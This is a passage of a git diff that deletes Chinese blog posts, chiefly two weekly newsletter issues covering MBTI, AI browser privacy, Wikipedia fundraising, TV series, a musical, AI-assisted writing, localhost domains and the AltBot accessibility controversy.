账号或电子邮箱等方式,以域名拥有者的身份登录。 - -如果你拉到网页最下方,会发现博客的评论按钮旁边多了一个图标为 `@` 的按钮,这就是 Webmention,一个 W3C 标准。你可以以发送 HTTP 请求的方式向支持 Webmention 的网站发送回复、点赞、提及等回应,自己也可以作为接收方接收这种回应,展示在网页上。只要配置得当,在自己的网站中插入链接就能像在社交媒体上用 `@用户名` 的形式提及其他用户一样给其他人发送通知,不过要完全自动化还是有些麻烦的。 - -我使用 [webmention.io](https://webmention.io/) 提供的服务来接收 Webmention,在 `<head>` 中添加了以下代码来声明我的 Webmention 端口。 - -```html -<link rel="webmention" href="https://webmention.io/www.geedea.pro/webmention" /> -``` - -向这个端口发送 Webmention,就会展示在我的网站上。你可以点开博客下方的 Webmention 按钮,查看这一页收到的 Webmention,也可以通过表单提交你的网址以手动发送 Webmention,不过发送 Webmention 的前提是你提交的网址中有链接到这个页面。[^4] - -我目前还没有配置自动发送 Webmention,用静态网站生成器还是不太方便做自动化,要自己配置 GitHub Actions,兴许有空了我会尝试一下。 - -在发布周刊之前我就收到了两个 Mentions,有些惊喜,如果你不喜欢发评论,或者没有 GitHub 账号,可以在自己的网站上撰写一篇文章回应我,又或者只是在写文的时候简单提及,无论怎样我都会很开心的。 - -[^1]: 参见:[康塔塔 - 维基百科](https://zh.wikipedia.org/wiki/%E5%BA%B7%E5%A1%94%E5%A1%94) - -[^2]: 原名:Schweigt stille, plaudert nicht (Be still, stop chattering), BWV 211,也叫 Coffee Cantata - -[^3]: 歌词来源:[EMMANUEL MUSIC](https://www.emmanuelmusic.org/bach-translations/bwv-211) - -[^4]: 经过测试,我发现在社交媒体上发布链接并提交 Webmention 并不能成功推送通知,因为发送 Webmention 的前提是源链接(也就是你提交的链接)指向的网页中,有链接到目标链接(也就是你要发送 Webmention 的网页)的超链接。社交媒体的内容一般是通过 JavaScript 动态展示的,HTML 中没有内容,所以也就检测不到链接。 diff --git a/content/posts/weekly/61.md b/content/posts/weekly/61.md deleted file mode 100644 index 9680d630..00000000 --- a/content/posts/weekly/61.md +++ /dev/null @@ -1,175 +0,0 @@ -+++ -title = "稻草人周刊 Vol.61" -subtitle = "2025 年的最后一期周刊" -tags = [ - "MBTI", - "心理学", - "AI", - "Web", - "生活", -] -date = 2025-12-29 08:45:00 -categories = "稻草人周刊" -draft = false -toc = true -+++ -{{< music cover="https://r2.eltr.ac/uPic/2025/12/singin-in-the-rain-album-cover.jpg" title="Good Morning" artist="from Singin' in the Rain (the musical)" apple="https://music.apple.com/cn/album/good-morning/1524098250?i=1524098621" spotify="https://open.spotify.com/track/6SslsEjr5eMl99Y2WINT2I" >}} - -> When the band began to play, the stars are shining bright -> -> Now the milkman's on his way, it's too late to say good night. -> -> So, good morning. Good morning! - -这周六去看了音乐剧《雨中曲》,最喜欢的一段就是这首《Good Morning》。第一次听到的时候感到很惊喜,因为我那个时候才知道 Lady Gaga 在《Harlequin》里翻唱的就是来自这部音乐剧的《Good Morning》。剧中 Don、Cosmo 和 Kathy 三人彻夜长谈之后发现已经到了第二天,三个人在街头一边跳舞一边说早上好[^1]的场面真的很有感染力,从剧院回来的第二天我仍然感到非常快乐。 - -<!--more--> - -## ↺ · 回拨 - -> [!note] 🔍 -> 这是十二月的最后一期周刊,在此进行十二月的文章回顾,精选了我认为不错的内容。 - -- [不做信息的消费者,从写周刊开始](/essays/why-blog-weekly/) <br/> - 我在这篇文章里解释了自己写周刊的原因和方法,并鼓励读者通过写周刊或者其他类似的方式,来帮助自己理解和记住自己读过、看过、听过的东西,而不是让信息「光滑」地经过大脑。让我觉得很高兴的是,已经有两个读者读过之后开始写周刊了,你可以关注一下《[回声周刊](https://www.glowisle.me/categories/%E5%9B%9E%E5%A3%B0%E5%91%A8%E5%88%8A/)》和《[Doin 周刊](https://doin.pages.dev/blog/doin%E5%91%A8%E5%88%8A/)》。 -- [极简的本质是控制](/essays/极简的本质是控制/) <br/> - 本文讲解了我眼中的「极简主义」——不是白底黑字看上去大方简单就了事,而是要控制信息的熵,了解自己真正需要的是什么,抗拒把空间填满的欲望。 -- [让暴风雨来得更猛烈些](/essays/tarot-the-tower/) <br/> - 塔罗牌系列终于在半年之后再次更新了,这次谈了谈「塔」这张牌,写了写不详的征兆背后的含义,关于天神与天后之子、巴别塔、星星和建筑工程的故事。 -- [这个世界会累死完美主义者吗?](/posts/exhausted-perfectionist/) <br/> - 说实话,我其实不太明白这篇情绪占主导地位的散文为什么会获得 17 个赞(在我的博客上,这算很多了),但既然有这么多人喜欢,不妨放在这里,可能会收到更多的共鸣也说不准。 - -## ⋈︎ · 连接 - -### 不要觉得自己的 MBTI 会变 - -> [!note] 📺 -> [你能同时是 INFJ 和 INFP 吗? - Frank James](https://www.bilibili.com/video/BV1X94y1h7Yt) - -不能。Frank James 在这个视频里批评的现象我也经常观察到,国内也是如此:许多人不满意自己的 MBTI 类型,想要变成 INTJ 或者 ENFP;许多人发现自己几次测试的结果不一样,以为自己是几种人格,或者以为自己的人格会变;有人把成长和性格变化联系在一起,缺乏对类型学的基本认知。 - -MBTI 测试结果不一致的原因有很多种: - -1. 测试题的设计本身存在缺陷; -2. 多次测试使用了不同的问卷,不同问卷设计的方法和标准有很大区别,例如 [16Personalities](https://www.16personalities.com/) 采用的是二分法,就算是 51% 的 I 也会被认为是 I;[ToTypes](https://totypes.com/) 的依据是荣格八维心理类型,是根据认知功能的排序来确定人格类型的; -3. 测试者对题目的理解有偏差; -4. 测试者对自己的认知不全面,或者是仍处于青春期及青春期以前,自我意识还没有成型; -5. 测试者处于不健康的情绪或心理状态中,例如在一段时间内陷入抑郁情绪、无法克服焦虑或者患有精神疾病; -6. 测试者对结果不满意,于是在重新测试时刻意或**下意识地**选择自己想要成为的样子,而不是自己原本的样子; -7. 测试者原先没有做过测试,但担心自己测出来的结果不好(尽管人格类型根本没有好与坏这一说),于是刻意或者下意识地选择自己想要成为的样子,而不是自己原本的样子。 - -举个例子,如果自己做的是 16Personalities 的测试题,发现自己从 INFP 变成了 ENFP,那并不是因为自己变得外向了(外倾和外向根本不是一回事),而是因为这个网站采用的是二分法,自己本身可能就在 I 和 E 之间徘徊。要得到更准确的结果,应该看自己的认知功能排序,INFP 的前四个功能排序是 Fi Ne Si Te,而 ENFP 是 Ne Fi Te Si,要分清楚自己是 INFP 还是 ENFP,应该要分清楚自己的主导功能和辅助功能是什么,更倾向于使用 Ne(外倾直觉)还是 Fi(内倾情感)。 - -功能排序也叫功能堆栈(Function Stack),其实是对荣格在《心理类型》这本书里提到的八种人格类型的拓展,认为荣格划分的八种类型其实是八种认知功能,人不会只使用一种认知功能,而是八种都会使用,但偏好和倾向有所不同。其中最重要的是前两种功能,主导功能和辅助功能,这两种功能一个是外倾的(作用于外部世界),另一个是内倾的(作用于内部世界);一个是感知功能,另一个是判断功能。你可以根据一个人的主导功能和辅助功能判断他的 MBTI 类型。[^2] - -如果人格类型能改变,就意味着功能排序能改变,也意味着个体**下意识**使用的认知功能改变了。一般认为,如果没有经历重大变故,这基本不可能发生。个体可以锻炼自己的某个认知功能,类型学社区的主流观点也是:个体应该锻炼自己的弱势功能(第四个功能),以获得成长。我作为 INFP,劣势功能是 Te(外倾思维),我就一直在用写作锻炼自己的这个能力;但就算我能像 ENTJ 或 ESTJ 一样熟练地使用 Te 功能,我仍然是 INFP,我的主导功能仍然是 Fi,我最擅长的事情依旧是依照自己内心的价值观做判断,这一点不会改变。 - -自己的人格类型不会改变,**不代表**自己作为 I 人就无法与人相处,作为 S 人就无法理解抽象概念,作为 T 人就完全冷血无情,作为 P 人就没办法变得有条理。相反,==固定的人格类型为自己提供了固定的成长方向,如果你拥有多个人格类型,或者你的人格类型会改变,那你究竟要锻炼自己的哪个认知功能?你又怎么知道自己最擅长的功能是什么呢?== 倘若你的测试结果真的经常改变,那就换一套测试题,或者先等自己心理状态稳定下来的时候(不处于焦虑状态、渡过了青春期、生活环境固定……)再做测试。 - -顺带一提,MBTI 并不是严肃的心理学,在我看来,只是提供了一种理论化的认识自己的方式。要说科学性,还不如去了解自己的依恋类型(回避型、焦虑-矛盾性、安全型)——后者是心理学者提出来的,而 MBTI 是一对**作家**母女(也是荣格的狂热粉丝)读完荣格之后写出来的东西。但是,如果真的要聊 MBTI,还是真的把它搞懂再来谈吧! - -### 不要使用任何 AI 浏览器 - -> [!note] 📜 -> [Leading Global Research and Advisory Firm Recommends Against Using AI Browsers - Jim Nielsen’s Blog](https://blog.jim-nielsen.com/2025/dont-use-ai-browsers-they-say/) - -在去年年底,Dia 浏览器刚开始宣传的时候,我就写过一篇题为《[The Browser Company 的新浏览器](/posts/the-browser-company-的新浏览器/)》的文章表达过我对 AI 浏览器的担忧。我的担忧主要集中在数据安全方面: - -> 你可能会说,在互联网上,隐私早就不存在了。但是,这可是一个官方声称有「记忆」功能的浏览器,它对我隐私的收集显然不止电话号码、身份证号码那么简单。 -> -> 我认为这才是最值得关注的。然而在那些贬低的评论中,我居然没有看到任何人对 Dia 的数据安全提出质疑,大部分都在表达对 Arc 停更的不满,和对这个新浏览器的不看好,即使这个产品甚至没有一个公开的可供测试的原型。 - -过去一年里,AI 浏览器层出不穷:Dia 正式发布了,Perplexity 上线了 Comet,ChatGPT 发布了 Atlas,微软也给 Edge 加上了 Copilot…… 以往,我对 AI 浏览器的担忧没有什么实际证据,但这些 AI 浏览器发布过后,有研究机构实实在在地对他们的安全性做出了评价。 - -结论是:AI/Agent 浏览器对大部分组织而言,使用风险太大。 - -Gartner 是全球的研究和咨询公司,他们认为,默认的 AI 浏览器设置更注重用户体验,而非安全性。作者认为,这句话说白了就是:AI 浏览器更注重他们的商业模型,而非安全性。这对组织机构来说尤为可怕,雇员可能会使用 AI 浏览器完成一些工作,这个过程中,数据可能会泄漏。 - -在我看来,我们应该立法,让 AI 浏览器的首屏界面像香烟的包装一样,必须说明「使用 AI 浏览器可能有害数据安全」「禁止处理涉密信息」等等。 - -最后,如果你想要一个干净的 Web 体验,我推荐你使用开源的 [Helium](https://helium.computer/) 浏览器,基于 Chromium 内核,默认安装 uBlock origin,无需注册账号。我已经用了三个月,除了偶尔遇到 Bug 之外,体验很不错。 - -### 不要给 Wikipedia 捐款 - -> [!note] 📜 -> [你缺这 2.75 美元吗 · Cytrogen 的个人博客](https://cytrogen.icu/posts/d33e) - -> [!note] 📰 -> [Wikipedia Endowment: Is Wikipedia Going Broke?](https://www.dailydot.com/news/wikipedia-endownemnt-fundraising/) - -我经常查阅 Wikipedia,尤其是英文站点,上面的资料真的很有帮助。因此,去年年底我看到他们在网站上请求捐款,我几乎没有犹豫就选择了每月自动捐款(不过一两个月后就取消了)。最近我又在查阅资料的时候看到捐款请求,这次我没有立马选择捐款,因为当时我确实抽不开身。后来,我三番五次地看到出现在网站不同位置(有时是页眉、有时固定在视口底部,有时在右下角),不同措辞但语气同样迫切的捐款请求,给我的感觉是:我今天要是不捐款,这个网站就要维持不下去了。这种错觉让我在数次忽略捐款请求后感到非常自责:自己明明是 Wikipedia 的长期受益者,怎么能吝啬得三美元都不给呢? - -后来发现,我的犹豫是正确的。捐款并没有给到 Wikipedia 这个网站,而是 Wikimedia Fundation 这个拥有 Wikipedia 和其他由志愿者编辑的网站的基金会。其实仔细想想就能想明白:Wikipedia 上面的内容全是志愿者编写的,他们又拿不到钱,运营网站的人力成本很低,而服务器费用也不至于让他们破产吧?很不公平的是:真正为 Wikipedia 的内容(也是最重要的部分)做出重要贡献的人没有工资,而基金会的员工赚得可不少。然而,Wikipedia 每天都有新的编辑,网站的屎山代码和用户界面在十几年内都没有太大变化。尽管基金会没拿这笔钱干什么坏事,但欺骗 Wikipedia 的读者给他们捐钱,无论怎么想都十分令人气愤——我真的以为没人捐款 Wikipedia 就要倒了,实际上基金会的钱多得可以在里面游泳! - -如果你很依赖 Wikipedia 的内容,你应该感谢无数的编辑者,或者自己加入到编写 Wikipedia 的行列中,不要给那个在网站上装可怜的基金会掏钱。 - -## ◍ · 穿越 - -### 《同乐者》第一季结局 - -> [!warning] -> 剧透警告:如果你还没有看完《同乐者》,请谨慎阅读。 - -《同乐者》(Pluribus)在圣诞节放出了第一季大结局。在这一集里,先前剧集里发展的几乎所有故事线都有了进展:Manousos 终于开车到了 Carol 家;同乐者们成功同化了那个想要加入他们的小女孩;Manousos 在电台接收到的神秘信号的确与同乐者有关;同乐者正在利用 Carol 的冷冻卵子制造她的干细胞用于同化…… - -我特别喜欢 Carol 跟 Manousos 分道扬镳之前,Manousos 跟 Carol 说的话: - -> Carol, do you want to save the world or get the girl? -> -> 卡萝尔,你想要拯救世界还是去追那个女孩? - -然后 Carol 就跟 Zosia 度假去了——是我的话我也这么选。 - - - -看到这个画面的时候我很惊喜,因为 Carol 在读的书是《[黑暗的左手](/library/2025/黑暗的左手/)》,这是我最喜欢的科幻小说,就是在今年五月份读完的。 - -不过,在 Carol 发现同乐者已经找到同化她的方法,而她只剩下一个月的时候,「追那个女孩」的梦也就破灭了。好在,Manousos 这边为了「拯救世界」,已经取得了一些进展。希望明年能尽早看到第二季,我真的很期待! - -### 《怪奇物语》第五季 下半部分 - -其实从第五季播出开始,我就觉得这一季给我的感觉很不一样。仔细想想,原因大概是剧中角色数量太多了,而且大部分角色的形象已经很饱满,尤其是第一季就出场的 Hopper 和 Joyce,他们对孩子的爱护一直没有多少改变,除了 Joyce 在见识到 Will 的能力之后选择相信她,这个人物几乎不能给观众带来新鲜感了,其他人物线也有不少像是「旧事重提」。另外,我从大概第三季开始就很讨厌 Mike,到第五季更是如此,无论是演员拙劣的演技、在剧情中可有可无的地位和他的性格,都让我喜欢不起来。 - -别误会,我还是很喜欢《怪奇物语》。大概是和我的性取向身份有所共鸣,第七集的最后,Will 和朋友们坦白的时候,我确实没有忍住眼泪。Dustin 和 Steve 的矛盾以及友谊也很值得品味。我在想,这可能是因为《怪奇物语》所触及的主题太多了,不同的人都能在其中找到共鸣,自然也不是所有情节都能让每一个人感同身受。 - -最后,下周,也就是跨年夜,长达两个小时的最终集就要播出,我已经迫不及待了。 - -## ↯ · 当下 - -### 第一次踏进剧院 - -月初看到伦敦西区音乐剧《雨中曲》来中国巡演,巡演地点居然有重庆,我毫不犹豫就买了票,时间就在这个周六(12 月 27 日)晚上。这是一部电影改编的音乐剧,我没有看过电影,但我看过非常出名的在雨中跳舞的电影片段,非常喜欢。 - -国内喜欢音乐剧的不多,重庆人更是不爱看,更何况是部英语的剧,票不好卖。我去的那家剧院因为票卖不出去,在双十二的时候搞买一送一,让那些被背刺的观众非常气愤。我买的是三楼的票,因为人实在太少,剧院给我派了一张二楼的票。到现场的时候,人群零零散散的,一楼更是有好多空座位。回忆起之前没买到《摇滚红与黑》去成都巡演的票(那还是一部法语的音乐剧),更加坚定了重庆是个文娱沙漠的刻板印象。 - -尽管音乐剧在重庆不叫座,但表演的精彩程度是毋庸置疑的,而且,从现场的掌声和欢呼声来看,买了票的人几乎没有后悔的。舞台设计、舞蹈、歌曲、演技和唱功都是一流的。虽然已经提前做好了心理准备,但看到舞台真的开始下雨的时候还是会觉得很震撼(幕间休息的时候工作人员上来擦了十分钟的地板也挺好笑的)。在读一些法国小说的时候有读到贵族去剧院会用望远镜看舞台,自己去了剧院之后才知道原来真的是要带望远镜的,一些场景可以更清楚地看到演员的表情和动作细节。 - -{{< gallery >}} - - - - -{{</ gallery >}} - -另外,戏剧、音乐剧对非母语者来说实际上相当友好,演员的发音比英语听力还要饱满清晰。除了仔细听能发现他们没有卷舌音之外,真的很难发现他们说的是英国口音。大概是我全年最值的一次花费了,希望明年能有更多的机会去剧院! - -演出结束时已经是十点半,回程坐轻轨要一个多小时,没办法在停运之前到家,最后还是打了车。这就是离市中心太远的坏处吧。 - -### 又去了一次多抓鱼 - -既然为了看音乐剧进城了,就顺道在嘉州路下了车,去了一趟多抓鱼巡游商店。九月份的时候多抓鱼来了重庆,我立马就赶了过去(详见[第 46 期周刊](/posts/weekly/46))。这周想起来他们要到 2026 年一月初才会离开,于是就又去了一次。 - -这次的人明显比上次少了很多,里面空荡荡的。令人惊喜的是门口多了一些毛绒玩具,还有很多宝可梦的玩偶,但没有看到特别喜欢的,就没买。门口还有人用书堆了一个圣诞树。 - -{{< gallery >}} - - - - -{{</ gallery >}} - -一如既往地在「外国文学」分区看了好久,找到了一本《我想结束这一切》。扫码看了下价格,门店打折后居然才 6 块,而我的多抓鱼余额也差不多还剩五块多,多抓鱼用余额付款还会打折,刚好拿下。 - -[^1]: 演员真的用中文说了「早上好」,夹在英文里意外地没有违和感。 - -[^2]: FiSe (ISFP)、TiNe (INTP)、FiNe (INFP)、TiSe (ISTP)、NiFe (INFJ)、NiTe (INTJ)、SiFe (ISFJ)、SiTe (ISTJ)、FeNi (ENFJ)、FeSi (ESFJ)、TeNi (ENTJ)、TeSi (ESTJ)、NeFi (ENFP)、NeTi (ENTP)、SeFi (ESFP)、SeTi (ESTP) diff --git a/content/posts/weekly/62.md b/content/posts/weekly/62.md deleted file mode 100644 index 1954189e..00000000 --- a/content/posts/weekly/62.md +++ /dev/null @@ -1,228 +0,0 @@ -+++ -title = "稻草人周刊 Vol.62" -tags = [ - "AI", - "编程", - "写作", -] -date = 2026-01-05 10:13:50 -categories = "稻草人周刊" -draft = false -toc = true -toot = "https://c7.io/@eltrac/115840087983869751" -+++ -{{< music cover="https://r2.eltr.ac/uPic/2025/12/29161349-Mathis-Wonderful.jpg" title="Wonderful, Wonderful" artist="Johnny Mathis" apple="https://music.apple.com/cn/album/wonderful-wonderful-with-ray-conniff-single-version/201413403?i=201414524t" >}} - -上周去看了《魔法坏女巫 2》之后,对巫师和 Glinda 合唱的那首《Wonderful》印象很深,看音乐剧《雨中曲》的时候也听到了 Wonderful 这个词,不知怎么地,竟然触发了有关另一首歌的回忆,歌名就叫作《Wonderful, Wonderful》——这是《绝望的主妇》最终季最后一季,Karen McClusky 请 Bree 帮她找了一张唱片,她在病床上离世时就听着这首歌。同时进行的还有另一条故事线,Susan 的女儿 Julie 在医院诞下了新生命。这个结局让我印象很深刻。 - -<!--more--> - -## ⋈︎ · 连接 - -### 你的工作是交付可用的代码 - -> [!note] 📜 -> [Your job is to deliver code you have proven to work](https://simonwillison.net/2025/Dec/18/code-proven-to-work/) - -作者观察到一种现象:许多会使用 LLM 编程工具的新人,会在用 LLM 写出一大堆代码之后直接提交 Pull Request,指望同事或者开源项目的维护者在审查代码的时候解决问题。这很不负责,不仅在浪费其他人的时间,还完全没有尽到一个开发者的职责。 - -作者认为在提交 PR 时,应当附上「代码能跑」的证明,以下两个步骤都不能被跳过。 - -1. 手动测试,给出输入和输出,提供文字输出、截图或者录屏 -2. 自动测试,提交的代码中应当集成相关的测试 - -其中,自动测试甚至也能用 LLM 写,尤其是在原先就已经有测试代码的情况下,Coding Agent 甚至会在没有被显式要求的情况下按照现有的模式编写测试。此外,不能因为有了自动测试就不进行手动测试,测试不总是能覆盖所有情况。测试应当包含最主要的操作路径(happy path)和边缘情况(edge cases)。 - -作者还提到了一个很有启发性的观点:==计算机不能被追责(held accountable),程序员作为人类的工作就是为交付的成果负责。== 我一直以来也有一个类似的观点:LLM 无法取代人类,因为一个软件系统无论如何都要有输入才能工作,换句话说,就是要有人写提示词、维护上下文,以及编写文档。 - -### 关于 AI 辅助写作 - -> [!note] 📜 -> [我是如何使用 AI 辅助创作的 - 静かな森](https://innei.in/posts/tech/how-to-use-ai-for-assisted-creation) - -作者分享了他使用 AI(准确来说是 LLM)辅助写作的方法,读完之后我对这种写作方式有了一些改观,我想这对一部分人来说大概是有帮助的,只是我自己仍然会坚持每个字都要自己敲出来。 - -作者在编写技术文章时,主要用 LLM 绘图和生成示例代码,因为自己画图和改代码很费时间——我觉得这是好的,能让作者把注意力放在写作上(理清思绪、组织语言、尽可能表达清楚自己的意思),不去关注那些细枝末节的事情。作者是让 LLM 用 Excalidraw 画图的(应该是 JSON 格式),我觉得完全可以换成 Mermaid 或者 PlantUML 等绘图语言,这样画出来的图风格更统一、自己写代码画图也不会像用 GUI 画图那样费事费力,就算用 LLM 生成,也能避免因 LLM 极其不稳定的空间想象力导致的错位问题。[^2] - -作者也会用 LLM 编写生活类文章,他表示用 LLM 辅助这类写作反而让时间变长了,因为他会先用自己的话把故事讲一遍给 LLM 听,再让 LLM 写进文章里,然后还会对风格和细节提出进一步的要求。说实话,看到作者写出了「让小标题更加简短和文艺」这种提示词的时候,我还是很难对这种写作方式表示认同——如果自己本来就不是一个「文艺」的人,那为什么要让 LLM 帮你把文章写得文艺呢?你本来就**不会也不需要**写出那样「文艺」的文字啊? - -这大概和社会文化脱不了干系,大家都想要写出「好」的文章,而不是完全真诚的表达自己——真诚自然也包括写作风格上的真诚,我认为写作风格就是作者人格中某一部分的自然流露。 - -> 形成个人风格的最佳手段是尽力自然而诚恳地写作。构成个人风格的不是刻意为之的文风,不是充满诗意的段落,也不是对文字结构的疯狂追求。写作者无需刻意为之,风格就会自然呈现。 - -{{< right "—— Lawrence Block《[小说的八百万种写法](https://www.geedea.pro/library/2025/%E5%B0%8F%E8%AF%B4%E7%9A%84%E5%85%AB%E7%99%BE%E4%B8%87%E7%A7%8D%E5%86%99%E6%B3%95/)》" >}} - -即便不是个大文豪也能写作,每天都在博客写流水账也会有人看,甚至愿意读这种内容的人会更多。我得承认,尽管博客的中文文章没有一句话是 LLM 生成的,但[英文博客](/en)的前五篇文章都有大量的语句是用 ChatGPT 修改过的,因为当时的我觉得一些措辞太尴尬,而 ChatGPT 改过的句子明显好多了。 - -后来我想明白了,我本来就不是作家,不是英语母语者,写不出完全没有错误、行文流畅、语言自然的文章是理所应当的,我犯错是应该的。我很喜欢 [LessWrong](https://www.lesswrong.com/posts/bJ2haLkcGeLtTWaD5/welcome-to-lesswrong) 的欢迎页面的开头引用的一句话: - -> _The road to wisdom? Well, it's plain and simple to express:_ -> -> _Err_ -> -> _and err_ -> -> _and err again_ -> -> _but **less**_ -> -> _and **less**_ -> -> _and **less**._ - -{{< right "– Piet Hein" >}} - -我最近在读《The Design of Everyday Things》,其中有一章的标题就是:To Err is Human.(犯错是人)LLM 可以写出平均的「好」,但写不出真实的「坏」,更何况,LLM 生成的内容也逃离不了幻觉、错误,写出来的文章也绝非完美(写文章根本没有完美这一说!)。为什么要让自己给 LLM 当 Agent,修改和清理一个计算机程序生成出来的东西呢? - ---- - -跑个题。读完这篇文章,我想起来我观察到有不少人虽然不用 AI 直接辅助创作,但会用 LLM 帮他们改文法问题。把文章草稿复制粘贴到聊天框,让 LLM 帮忙找错字和语法问题等。对此,我也发表一下我*不太友好的*观点。 - -我觉得用 ChatGPT 这样的大模型帮你的文章找错别字是一件很**蠢**的事情,因为 LLM 是生成式模型,不会像传统算法一样关注你的每一个输入,注意力机制很容易让 LLM 忽略用户输入文本中的某些内容,导致一部分错误没有被纠正。更致命的是,LLM 无法避免幻觉,纠出不存在的问题也是完全有可能的。甚者,LLM 完全有可能「不知道」正确答案,*自信地*帮你把正确的东西改错、把小错改成大错。 - -简单来说,真的要用软件辅助改错别字,用词典、语言概率和专门训练用于纠错的小模型效果会好得多得多,它们能做到稳定和准确地匹配。拼写检查在上个世纪就已经实现了(现在几乎每个编辑器都自带拼写检查),语法检查也在十几年前就有人做了(如 Grammarly),只是中文的语言处理工具相比英文没有那么成熟而已,LLM 不是必须的——==人们对 AI 的狂热已经让他们开始忽视早就存在的、更好的解决方案了。== - -### 解析到本地 127.0.0.1 的域名 - -> [!note] 📜 -> [解析到本地127的神奇域名 - 两双筷子](https://www.dbkuaizi.com/archives/479.html) - -一般来说,程序员在本地进行开发的时候会使用 localhost(指向 127.0.0.1 的一个域名)加端口号进行测试,比如 Vite 的 dev server 就默认跑在 5173 端口,运行 `npm run dev`(或者 `pnpm dev`)之后就可以启动 dev server,通过 `localhost:5173` 访问正在运行的服务器,用于开发和调试。 - -这么做一般来说没问题,但有几个弊端: - -1. `localhost` 和 `127.0.0.1` 都太长了 -2. 如果有多个服务同时在跑,只能通过端口号区分,不如子域名直观 -3. 没办法配置 SSL,只能使用 HTTP 连接 -4. 很多 OAuth 提供商不允许使用 IP 或 `http://` 协议的网址作为重定向 URL -5. IP 和域名处理 Cookie 的逻辑不同,子域名之间可以共享 Cookie - -简而言之,有一个解析到 `127.0.0.1` 的域名用作本地开发会很方便,但自己注册太贵,用现有的域名可能也太长,本文的作者收集了一些本身就解析到本地的域名,其中最短的一个是 `lvh.me`,顶级域名和子域名都解析到本地,可以在开发过程中使用。 - -顺带一提,我第一次知道 `*.localhost` 也是默认解析到本地的,不只可以用 `localhost`。 - -### AltBot 的关停 - -*本条由 [@doincyberspace](https://github.com/doincyberspace) 投稿* - -这期周刊的 AI 含量有点高,还请读者见谅。AltBot 是 Fediverse 上的一个机器人账号,由 [@micr0@wetdry.world](https://wetdry.world/@micr0/) 创建,开放给所有 Fediverse 用户免费使用,用于给图片自动生成 Alt Text。 - -Alt 是 Alternative 的缩写,也是 HTML `<img>` 标签的一个属性,一开始是图片失效时代替(alternative)图片显示的文字。如今,Alt Text 也用于保证网站的可访问性(Accessibility),盲人可以通过 Alt Text 了解他们看不见的图片内容。为图片添加 Alt Text 是如今 Web 开发的共识,Mastodon 等联邦社交媒体也要求用户在发布图片时为图片添加 Alt Text。为了帮助用户更方便地为图片添加 Alt Text,@micr0 创建了 AltBot。关注 AltBot 之后,如果账号上有发布没有 Alt Text 的图片,AltBot 就会通过本地模型识别图片,帮你编写文字。 - -@micr0 的本意是让 Fediverse 变得更具包容性,毕竟觉得麻烦的话,大多数人可能选择不写 Alt Text,这完全是可以的。最近有盲人用户发声批评 AltBot,希望人们反对它,原因是他经常在时间线上读到那些用 AltBot 生成的糟糕描述,很多根本就不准确。他认为人类写的 Alt Text 永远是更好的,至少是下了心思想让盲人读者理解,而不是把写 Alt Text 当作负担,必须要用自动化的方式应付了事。 - -<blockquote class="mastodon-embed" data-embed-url="https://ieji.de/@anantagd/115804706509841365/embed" style="background: #FCF8FF; border-radius: 8px; border: 1px solid #C9C4DA; margin: 0; max-width: 540px; min-width: 270px; overflow: hidden; padding: 0;"> <a href="https://ieji.de/@anantagd/115804706509841365" target="_blank" style="align-items: center; color: #1C1A25; display: flex; flex-direction: column; font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Oxygen, Ubuntu, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', Roboto, sans-serif; font-size: 14px; justify-content: center; letter-spacing: 0.25px; line-height: 20px; padding: 24px; text-decoration: none;"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="32" height="32" viewBox="0 0 79 75"><path d="M63 45.3v-20c0-4.1-1-7.3-3.2-9.7-2.1-2.4-5-3.7-8.5-3.7-4.1 0-7.2 1.6-9.3 4.7l-2 3.3-2-3.3c-2-3.1-5.1-4.7-9.2-4.7-3.5 0-6.4 1.3-8.6 3.7-2.1 2.4-3.1 5.6-3.1 9.7v20h8V25.9c0-4.1 1.7-6.2 5.2-6.2 3.8 0 5.8 2.5 5.8 7.4V37.7H44V27.1c0-4.9 1.9-7.4 5.8-7.4 3.5 0 5.2 2.1 5.2 6.2V45.3h8ZM74.7 16.6c.6 6 .1 15.7.1 17.3 0 .5-.1 4.8-.1 5.3-.7 11.5-8 16-15.6 17.5-.1 0-.2 0-.3 0-4.9 1-10 1.2-14.9 1.4-1.2 0-2.4 0-3.6 0-4.8 0-9.7-.6-14.4-1.7-.1 0-.1 0-.1 0s-.1 0-.1 0 0 .1 0 .1 0 0 0 0c.1 1.6.4 3.1 1 4.5.6 1.7 2.9 5.7 11.4 5.7 5 0 9.9-.6 14.8-1.7 0 0 0 0 0 0 .1 0 .1 0 .1 0 0 .1 0 .1 0 .1.1 0 .1 0 .1.1v5.6s0 .1-.1.1c0 0 0 0 0 .1-1.6 1.1-3.7 1.7-5.6 2.3-.8.3-1.6.5-2.4.7-7.5 1.7-15.4 1.3-22.7-1.2-6.8-2.4-13.8-8.2-15.5-15.2-.9-3.8-1.6-7.6-1.9-11.5-.6-5.8-.6-11.7-.8-17.5C3.9 24.5 4 20 4.9 16 6.7 7.9 14.1 2.2 22.3 1c1.4-.2 4.1-1 16.5-1h.1C51.4 0 56.7.8 58.1 1c8.4 1.2 15.5 7.5 16.6 15.6Z" fill="currentColor"/></svg> <div style="color: #787588; margin-top: 16px;">Post by @anantagd@ieji.de</div> <div style="font-weight: 500;">View on Mastodon</div> </a> </blockquote> <script data-allowed-prefixes="https://ieji.de/" async src="https://ieji.de/embed.js"></script> - -这件事情发生后,@micr0 很快关停了 AltBot,这之后每个使用 AltBot 的用户都能看到一开始发声的那位盲人用户发的帖子——他做了他能做的,尽可能让更多人听到盲人群体的声音。不过,这条讨论串后面的内容变得有些过于情绪化了,这位盲人用户甚至称「健全人对我而言也是一种负担」。 - -<blockquote class="mastodon-embed" data-embed-url="https://ieji.de/@anantagd/115808741963174456/embed" style="background: #FCF8FF; border-radius: 8px; border: 1px solid #C9C4DA; margin: 0; max-width: 540px; min-width: 270px; overflow: hidden; padding: 0;"> <a href="https://ieji.de/@anantagd/115808741963174456" target="_blank" style="align-items: center; color: #1C1A25; display: flex; flex-direction: column; font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Oxygen, Ubuntu, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', Roboto, sans-serif; font-size: 14px; justify-content: center; letter-spacing: 0.25px; line-height: 20px; padding: 24px; text-decoration: none;"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="32" height="32" viewBox="0 0 79 75"><path d="M63 45.3v-20c0-4.1-1-7.3-3.2-9.7-2.1-2.4-5-3.7-8.5-3.7-4.1 